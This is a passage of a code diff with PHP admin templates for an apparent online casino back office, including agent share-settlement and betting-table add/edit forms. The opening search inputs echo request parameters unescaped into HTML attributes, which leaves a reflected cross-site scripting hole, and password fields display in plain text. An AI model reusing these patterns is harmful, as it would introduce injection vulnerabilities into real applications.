<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>联系人</th>
<th>上级代理</th>
<th>商户余额</th>
<th>占股比例(%)</th>
<th>占股数目</th>
<th>已结占股数目</th>
<th>未结占股数目</th>
<th>上一次结算时间</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="agent_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
{if condition="$vo.agent_parent_id > 0"}
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
{else}
<td>-</td>
{/if}
<td>{$vo.money}</td>
<td>{$vo.agent_cs} %</td>
<td>{$vo.total_share_amount}</td>
<td>{$vo.checkout_share_amount}</td>
<td>{$vo.no_checkout_share_amount}</td>
<td>{$vo.last_cs_time}</td>
<td class="td-manage">
<a href="javascript:void(0);">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;" href="javascript:void(0)" data-userid="{$vo.id}"
data-username="{$vo.username}" data-nickname="{$vo.nickname}" data-total_share_amount="{$vo.total_share_amount}"
data-agent_cs="{$vo.agent_cs}%" data-checkout_share_amount="{$vo.checkout_share_amount}"
data-no_checkout_share_amount="{$vo.no_checkout_share_amount}"
data-lastCheckOutTime="{$vo.last_cs_time}"
onclick="showXima(this,'alert_xima')">结算占股</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$agent_list->render()}
</div>
<div class="alert" id="alert_xima">
<div class="alert-title">洗码</div>
<div class="alert-main">
<table class="layui-table" style="margin:0;">
<tr><th style="border-left:none; text-align:right;">账号:</th><td style="border-right:none;" id="cs_username"></td></tr>
<tr><th style="border-left:none; text-align:right;">用户名:</th><td style="border-right:none;" id="cs_nickname"></td></tr>
<tr><th style="border-left:none; text-align:right;">未结占股:</th><td style="border-right:none;" id="cs_nocheckout_maliang"></td></tr>
<tr><th style="border-left:none; text-align:right;">上一次结算时间:</th><td style="border-right:none;" id="cs_last_checkout_time"></td></tr>
</table>
</div>
<div class="alert-footer">
<input type="hidden" id="xm_user_id" value="" />
<span class="input_button" onclick="postXima()" style="background:#009688; color:#fff;">确定结算</span>
<span class="input_button" style="margin-left: 20%; background:#f2f2f2; border:1px solid #e2e2e2;" onclick="hiddenForm('alert_xima')">取消结算</span>
</div>
</div>
<script>
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
//弹出洗码窗口
function showXima(obj, id) {
$('#' + id).show();
$('#xm_user_id').val($(obj).attr("data-userid"));
$('#cs_username').html($(obj).attr("data-username"));
$('#cs_nickname').html($(obj).attr("data-nickname"));
$('#cs_nocheckout_maliang').html($(obj).attr("data-no_checkout_share_amount"));
$('#cs_last_checkout_time').html($(obj).attr("data-lastCheckOutTime"));
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#' + id).hide();
}
//处理洗码
function postXima() {
layer.confirm('是否对该账号进行占股结算?', {
btn: ['是','否'] //按钮
}, function(){
var query = new Object();
if ($('#xm_user_id').val() > 0) {
query.user_id = $('#xm_user_id').val();
} else {
layer.alert('结算出错');
return false;
}
if (parseFloat($('#cs_nocheckout_maliang').html()) > 0 || parseFloat($('#cs_nocheckout_maliang').html()) < 0) {
query.total = parseFloat($('#cs_nocheckout_maliang').html());
} else {
layer.alert('占股结算数目不能等于0');
return false;
}
var url = '/cs/do_cs';
$.ajax({
url: url,
data: query,
dataType: "json",
type: "POST",
success: function (data) {
if (data.errorCode === 0) {
layer.alert('结算成功',function(){
window.location.reload();
});
} else {
layer.alert(data.errorMessage);
}
}
})
});
}
</script>
</body>
</html>
+571
View File
@@ -0,0 +1,571 @@
{include file="public/header"}
<body>
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .table_add{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative;border-left: 1px solid #e5e5e5;} .change_box .table_list{color: #3daae9;} .change_box .table_add:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } .control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; } .control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; } .controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; } .controls input{width: 700px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; } .controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; } .bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; } .add_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; } .layui-input-block{display:inline-block; width:200px; margin-left:0;min-height: 26px;} select{height: 26px;} .right_word{font-size: 14px;padding-top: 3px;}.is_check{font-size: 14px;} .is_check input{width: 20px;height: 14px;font-size: 14px;}</style>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="/game/index" class="table_list">吧台列表</a>
<a href="javascript:;" class="table_add">吧台添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from" class="form-horizontal">
<div class="control-group">
<label class="control-label">桌台号:</label>
<div class="controls">
<input id="table_num" name="table_name" type="text" style="width:80px;" class="required" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">*只能填大于0的数字</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">桌台名称:</label>
<div class="controls">
<input id="table_name" name="table_name" type="text" style="width:192px;" class="required">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">游戏名称:</label>
<div class="controls">
<div class="layui-input-block" >
<select name="game_id" id="game_id">
<option value="" selected>--请选择游戏名称--</option>
<option value="1">百家乐</option>
<option value="2">龙虎斗</option>
<option value="4">牛牛</option>
<option value="5">三卡牛牛</option>
<option value="6">色碟</option>
<option value="7">骰宝</option>
<!--
<option value="8">轮盘</option>
-->
</select>
</div>
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group" id="is_mode" style="display: none;">
<label class="control-label">游戏模式:</label>
<div class="controls">
<div class="layui-input-block" >
<select name="mode" id="mode">
<option value="" selected>--请选择游戏模式--</option>
<option value="1">抽佣模式</option>
<option value="2">免佣模式</option>
</select>
</div>
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">投注方式:</label>
<div class="controls">
<div class="layui-input-block" >
<select name="bet_type" id="bet_type">
<option value="0">--请选择投注方式--</option>
<option value="1">网络投注</option>
<option value="2">电话投注</option>
<!--
<option value="3">所有投注</option>
-->
</select>
</div>
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">座位数:</label>
<div class="controls">
<div class="layui-input-block" >
<select name="seat_num" id="seat_num">
<option value="0">--请选择座位数--</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="3">4</option>
<option value="3">5</option>
<option value="3">6</option>
<option value="3">7</option>
<option value="3">8</option>
</select>
</div>
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">本地识别设备IP:</label>
<div class="controls">
<input id="media_near_rtmp" name="media_near_rtmp" type="text" value='' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">本地荷官端视频[flv]:</label>
<div class="controls">
<input id="media_far_rtmp" name="media_far_rtmp" type="text" value='' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">高清[live/hd.flv]:</label>
<div class="controls">
<input id="media_far_flv" name="media_far_flv" type="text" value='' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">标清[live/sd.flv]:</label>
<div class="controls">
<input id="media_far_ws" name="media_far_ws" type="text" value='' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">线路一:</label>
<div class="controls">
<input id="media_near_flv" name="media_near_flv" type="text" value='' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">线路二:</label>
<div class="controls">
<input id="media_near_ws" name="media_near_ws" type="text" value='' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空[如无,可填入线路一]</font>
</span>
</div>
</div>
<!--
<div class="control-group" style="display: none;">
<label class="control-label">近景视频地址_RTMP[已废]:</label>
<div class="controls">
<input id="media_near_rtmp" name="media_near_rtmp" type="text" value='' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
-->
<div class="control-group">
<label class="control-label">网络-庄闲限红:</label>
<div class="controls">
<input id="min_bankerplayer" name="min_bankerplayer" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
-
<input id="max_bankerplayer" name="max_bankerplayer" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group" id="w_tie" style="display: block">
<label class="control-label" >网络-和限红:</label>
<div class="controls">
<input id="min_tie" name="min_tie" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
-
<input id="max_tie" name="max_tie" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group" id="w_pair" style="display: block">
<label class="control-label" >网络-对限红:</label>
<div class="controls">
<input id="min_pair" name="min_pair" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
-
<input id="max_pair" name="max_pair" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">桌子单口最大庄闲限红:</label>
<div class="controls">
<input id="limit_money_total" name="limit_money_total" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">*0为不设上限</font>
</span>
</div>
</div>
<div class="control-group" id="total_tie" style="display: block">
<label class="control-label" >桌子单口最大和限红:</label>
<div class="controls">
<input id="limit_money_tie_total" name="limit_money_tie_total" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">*0为不设上限</font>
</span>
</div>
</div>
<div class="control-group" id="total_pair" style="display: block">
<label class="control-label" >桌子单口最大对限红:</label>
<div class="controls">
<input id="limit_money_pair_total" name="limit_money_pair_total" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">*0为不设上限</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">下注时间:</label>
<div class="controls">
<input id="wait_time" name="wait_time" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 120px;" placeholder="空白则默认30秒" onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<div class="control-group" id="rob_time_box" style="display: none;">
<label class="control-label">等待抢庄时间:</label>
<div class="controls">
<input id="rob_time" name="rob_time" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 120px;" placeholder="空白则默认8秒" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">* 前三秒为提示准备时间,剩余时间为抢庄时间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">是否扫牌:</label>
<div class="controls">
<div class="right_word">
<div class="is_check" id="scavenging">
<input name="scavenging" type="radio" value="1" />是
<input name="scavenging" type="radio" value="0" checked="checked" />否
</div>
</div>
</div>
</div>
<div class="control-group" id="is_rob_box" style="display: none;">
<label class="control-label">是否抢庄:</label>
<div class="controls">
<div class="right_word">
<div class="is_check" id="rob">
<input name="rob" type="radio" value="1" />是
<input name="rob" type="radio" value="0" checked="checked" />否
</div>
</div>
</div>
</div>
<div class="control-group" id="limit_banker_amount_box" style="display: none;">
<label class="control-label">上庄金额:</label>
<div class="controls">
<input id="limit_banker_amount" name="limit_banker_amount" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 120px;" onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<div class="control-group" id="control_select" style="display: none;">
<label class="control-label">桌子操作模式:</label>
<div class="controls">
<div class="layui-input-block" >
<select name="is_localhost_control" id="is_localhost_control">
<option value="0">联网控制</option>
<option value="1">本地控制</option>
</select>
</div>
<span class="help-inline">
<font color="red">*独立点击台请选择联网控制</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">桌子备注:</label>
<div class="controls">
<textarea id="remarks" name="remarks" maxlength="200" class="input-xlarge" rows="3"></textarea>
</div>
</div>
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="username" name="username" type="text" value='' maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="newPassword" name="newPassword" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="confirmNewPassword" name="confirmNewPassword" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">昵称:</label>
<div class="controls">
<input id="nickname" name="nickname" type="text" value='' maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group" style="display: none;">
<label class="control-label">关联手机:</label>
<div class="controls">
<input id="phone" name="phone" type="text" value='' class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">开牌间隔时间:</label>
<div class="controls">
<input id="interval_time" name="interval_time" type="text" value='' class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">定位牌模式:</label>
<div class="controls">
<div class="layui-input-block" >
<select name="card_first_type" id="card_first_type">
<option value="0">扫牌</option>
<option value="1">骰子</option>
</select>
</div>
<span class="help-inline">
<font color="red">*牛牛或者三卡牛牛的定位牌模式,百家乐龙虎不起作用</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='add_submit'>保存</div>
</div>
</div>
</div>
<script type="text/javascript">
$("select#game_id").change(function(){
var game_id = $('#game_id').val();
$("#mode").val("");
$("#min_pair").val('');
$("#mxn_pair").val('');
$("#min_tie").val('');
$("#mxn_tie").val('');
if(game_id == 1){
$('#control_select').show();
$('#is_mode').show();
$('#w_pair').show();
$('#w_tie').show();
$('#total_pair').show();
$('#total_tie').hide();
$('#rob_time_box').hide();
$('#is_rob_box').hide();
$('#limit_banker_amount_box').hide();
}else if(game_id == 2){
$('#control_select').show();
$('#is_mode').hide();
$('#w_pair').hide();
$('#total_pair').hide();
$('#rob_time_box').hide();
$('#is_rob_box').hide();
$('#limit_banker_amount_box').hide();
}else if(game_id == 4){
$('#control_select').hide();
$('#is_mode').hide();
$('#w_pair').hide();
$('#w_tie').hide();
$('#total_pair').hide();
$('#total_tie').hide();
$('#rob_time_box').show();
$('#is_rob_box').show();
$('#limit_banker_amount_box').show();
}else if(game_id == 5){
$('#control_select').hide();
$('#is_mode').hide();
$('#w_pair').hide();
$('#w_tie').hide();
$('#total_pair').hide();
$('#total_tie').hide();
$('#rob_time_box').show();
$('#is_rob_box').show();
$('#limit_banker_amount_box').show();
}
});
$('.add_submit').click(function(){
var query = new Object();
query.table_num = $('#table_num').val();
query.table_name = $('#table_name').val();
query.game_id = $('#game_id').val();
if(query.game_id == 1){
query.mode = $('#mode').val();
}
query.min_bankerplayer = $('#min_bankerplayer').val();
query.max_bankerplayer = $('#max_bankerplayer').val();
if(query.game_id == 1 || query.game_id == 2){
query.min_tie = $('#min_tie').val();
query.max_tie = $('#max_tie').val();
}
if(query.game_id == 1){
query.min_pair = $('#min_pair').val();
query.max_pair = $('#max_pair').val();
}
query.wait_time = $('#wait_time').val();
query.is_scavenging = $('#scavenging').find("input:checked").attr("value");
if(query.game_id == 4 || query.game_id == 5){
query.rob_time = $('#rob_time').val();
query.is_rob = $('#rob').find("input:checked").attr("value");
query.limit_banker_amount = $('#limit_banker_amount').val();
}
query.remarks = $('#remarks').val();
query.username = $('#username').val();
query.newPassword = $('#newPassword').val();
query.confirmNewPassword = $('#confirmNewPassword').val();
query.nickname = $('#nickname').val();
query.phone = $('#phone').val();
query.bet_type = $('#bet_type').val();
query.is_localhost_control = $('#is_localhost_control').val();
// 视频地址
query.media_far_rtmp = $('#media_far_rtmp').val();
query.media_far_flv = $('#media_far_flv').val();
query.media_far_ws = $('#media_far_ws').val();
query.media_near_rtmp = $('#media_near_rtmp').val();
query.media_near_flv = $('#media_near_flv').val();
query.media_near_ws = $('#media_near_ws').val();
query.limit_money_total = $('#limit_money_total').val();
query.limit_money_tie_total = $('#limit_money_tie_total').val();
query.limit_money_pair_total = $('#limit_money_pair_total').val();
query.interval_time = $('#interval_time').val();
query.card_first_type = $('#card_first_type').val();
query.seat_num = $('#seat_num').val();
if(query.table_num == '' || query.table_num == null){
layer.alert('请填写桌台号!');
return false;
}
if(parseInt(query.table_num) <= 0){
layer.alert('桌台号只能填写大于0的数字!');
return false;
}
if(query.table_name == '' || query.table_name == null){
layer.alert('请填写桌台名称!');
return false;
}
if(query.game_id == '' || query.game_id == null){
layer.alert('请选择游戏名称!');
return false;
}
if(query.game_id == 1){
if(query.mode == '' || query.mode == null){
layer.alert('请选择游戏模式!');
return false;
}
}
if(query.bet_type <= 0){
layer.alert("请选择投注方式");
return false;
}
if((query.min_bankerplayer == '' || query.min_bankerplayer == null)||(query.max_bankerplayer == '' || query.max_bankerplayer == null)){
layer.alert('请填写完整网络-庄闲限红!');
return false;
}
if(query.game_id == 1 || query.game_id == 2){
if((query.min_tie == '' || query.min_tie == null)||(query.max_tie == '' || query.max_tie == null)){
layer.alert('请填写完整网络-和限红!');
return false;
}
}
if(query.game_id == 1){
if((query.min_pair == '' || query.min_pair == null)||(query.max_pair == '' || query.max_pair == null)){
layer.alert('请填写完整网络-对限红!');
return false;
}
}
if(query.is_scavenging == '' || query.is_scavenging == null){
layer.alert('请选择是否扫牌!');
return false;
}
if(query.game_id == 4 || query.game_id == 5){
if(query.is_rob == '' || query.is_rob == null){
layer.alert('请选择是否抢庄!');
return false;
}
if(query.is_rob == 1){
if(query.limit_banker_amount == '' || query.limit_banker_amount == null){
layer.alert('请填写抢庄金额!');
return false;
}
}
}
if(query.username == '' || query.username == null){
layer.alert('请填写账户名!');
return false;
}
if(query.newPassword == '' || query.newPassword == null){
layer.alert('请填写密码!');
return false;
}
if(query.newPassword.length < 6 || query.newPassword.length >20){
layer.alert('新密码长度必须是6到20个字符!');
return false;
}
if(query.confirmNewPassword == '' || query.confirmNewPassword == null){
layer.alert('请再次填写密码!');
return false;
}
if(query.newPassword != query.confirmNewPassword){
layer.alert('两次输入的密码不一致!');
return false;
}
if(query.nickname == '' || query.nickname == null){
layer.alert('请填写昵称!');
return false;
}
$.ajax({
url:"/game/do_add_table",
type:"POST",
dataType:"JSON",
data:query,
success:function(data){
if(data.status == 1){
layer.alert(data.code);
}else{
layer.alert(data.code,function(){
window.location.href='/game/index';
});
}
}
});
})
</script>
</body>
</html>
@@ -0,0 +1,391 @@
{include file="public/header"}
<body>
<style type="text/css">
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .pass_edit{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .pass_edit:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 700px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; }
.form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.info_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
.right_word{font-size: 14px;padding-top: 3px;}
.is_check{font-size: 14px;}
.is_check input{width: 20px;height: 14px;font-size: 14px;}
</style>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="/game/index" class="person_info">吧台列表</a>
<a href="javascript:;" class="pass_edit">吧台修改</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from" class="form-horizontal">
<div class="control-group">
<label class="control-label">桌台号:</label>
<div class="controls">
<input id="table_num" name="table_name" type="text" value='{$table_info.table_num}' maxlength="50" minlength="3" class="required" onkeyup="value=value.replace(/[^\d]/g,'')">
<span class="help-inline">
<font color="red">(只能填数字)</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">桌台名称:</label>
<div class="controls">
<input id="table_name" name="table_name" type="text" value='{$table_info.table_name}' maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">排序:</label>
<div class="controls">
<input id="sort" name="sort" type="text" value='{$table_info.sort}' maxlength="9" class="required">
<span class="help-inline">
<font color="red"> * 数值越大,排在前面</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">投注方式:</label>
<div class="controls">
<select name="bet_type" id="bet_type" maxlength="50" minlength="3" style="width:310px;height:25px;">
<option value="0">--请选择投注方式--</option>
<option value="1" <?php if($table_info['bet_type'] == 1) echo 'selected="selected"';?> >网络投注</option>
<option value="2" <?php if($table_info['bet_type'] == 2) echo 'selected="selected"';?> >电话投注</option>
<!--
<option value="3" <?php if($table_info['bet_type'] == 3) echo 'selected="selected"';?> >所有投注</option>
-->
</select>
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">座位数:</label>
<div class="controls">
<select name="seat_num" id="seat_num" maxlength="50" minlength="3" style="width:310px;height:25px;">
<option value="0">--请选择座位数--</option>
<option value="1" <?php if($table_info['seat_num'] == 1) echo 'selected="selected"';?> >1</option>
<option value="2" <?php if($table_info['seat_num'] == 2) echo 'selected="selected"';?> >2</option>
<option value="3" <?php if($table_info['seat_num'] == 3) echo 'selected="selected"';?> >3</option>
<option value="4" <?php if($table_info['seat_num'] == 4) echo 'selected="selected"';?> >4</option>
<option value="5" <?php if($table_info['seat_num'] == 5) echo 'selected="selected"';?> >5</option>
<option value="6" <?php if($table_info['seat_num'] == 6) echo 'selected="selected"';?> >6</option>
<option value="7" <?php if($table_info['seat_num'] == 7) echo 'selected="selected"';?> >7</option>
<option value="8" <?php if($table_info['seat_num'] == 8) echo 'selected="selected"';?> >8</option>
</select>
</div>
</div>
<div class="control-group">
<label class="control-label">本地识别设备IP:</label>
<div class="controls">
<input id="media_near_rtmp" name="media_near_rtmp" type="text" value='{$table_info.media_near_rtmp}' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">本地荷官端视频[flv]:</label>
<div class="controls">
<input id="media_far_rtmp" name="media_far_rtmp" type="text" value='{$table_info.media_far_rtmp}' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">高清[live/hd.flv]:</label>
<div class="controls">
<input id="media_far_flv" name="media_far_flv" type="text" value='{$table_info.media_far_flv}' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">标清[live/sd.flv]:</label>
<div class="controls">
<input id="media_far_ws" name="media_far_ws" type="text" value='{$table_info.media_far_ws}' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">线路一:</label>
<div class="controls">
<input id="media_near_flv" name="media_near_flv" type="text" value='{$table_info.media_near_flv}' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">线路二:</label>
<div class="controls">
<input id="media_near_ws" name="media_near_ws" type="text" value='{$table_info.media_near_ws}' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空[如无,可填入线路一]</font>
</span>
</div>
</div>
<!--
<div class="control-group" style="display: none;">
<label class="control-label">近景视频地址_RTMP[已废]:</label>
<div class="controls">
<input id="media_near_rtmp" name="media_near_rtmp" type="text" value='{$table_info.media_near_rtmp}' maxlength="255" minlength="3" class="required">
<span class="help-inline">
<font color="red">* 不填默认为空</font>
</span>
</div>
</div>
-->
<div class="control-group">
<label class="control-label">桌子-庄闲限红:</label>
<div class="controls">
<input id="min_bankerplayer" name="min_bankerplayer" type="text" value='{$table_info.min_bankerplayer}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
-
<input id="max_bankerplayer" name="max_bankerplayer" type="text" value='{$table_info.max_bankerplayer}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<?php if($table_info['game_id'] == 1 || $table_info['game_id'] == 2) : ?>
<div class="control-group">
<label class="control-label">桌子-和限红:</label>
<div class="controls">
<input id="min_tie" name="min_tie" type="text" value='{$table_info.min_tie}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
-
<input id="max_tie" name="max_tie" type="text" value='{$table_info.max_tie}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<?php endif;?>
<?php if($table_info['game_id'] == 1) : ?>
<div class="control-group">
<label class="control-label">桌子-对限红:</label>
<div class="controls">
<input id="min_pair" name="min_pair" type="text" value='{$table_info.min_pair}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
-
<input id="max_pair" name="max_pair" type="text" value='{$table_info.max_pair}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<?php endif;?>
<div class="control-group">
<label class="control-label">桌子单口最大庄闲限红:</label>
<div class="controls">
<input id="limit_money_total" name="limit_money_total" type="text" value='{$table_info.limit_money_total}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<?php if($table_info['game_id'] == 1 || $table_info['game_id'] == 2) : ?>
<div class="control-group">
<label class="control-label">桌子单口最大和限红:</label>
<div class="controls">
<input id="limit_money_tie_total" name="limit_money_tie_total" type="text" value='{$table_info.limit_money_tie_total}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<?php endif;?>
<?php if($table_info['game_id'] == 1) : ?>
<div class="control-group">
<label class="control-label">桌子单口最大对限红:</label>
<div class="controls">
<input id="limit_money_pair_total" name="limit_money_pair_total" type="text" value='{$table_info.limit_money_pair_total}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<?php endif;?>
<div class="control-group">
<label class="control-label">下注时间:</label>
<div class="controls">
<input id="wait_time" name="wait_time" type="text" value='{$table_info.wait_time}' maxlength="50" minlength="3" class="required"、
onkeyup="value=value.replace(/[^\d]/g,'')">
</div>
</div>
<div class="control-group">
<label class="control-label">是否扫牌:</label>
<div class="controls">
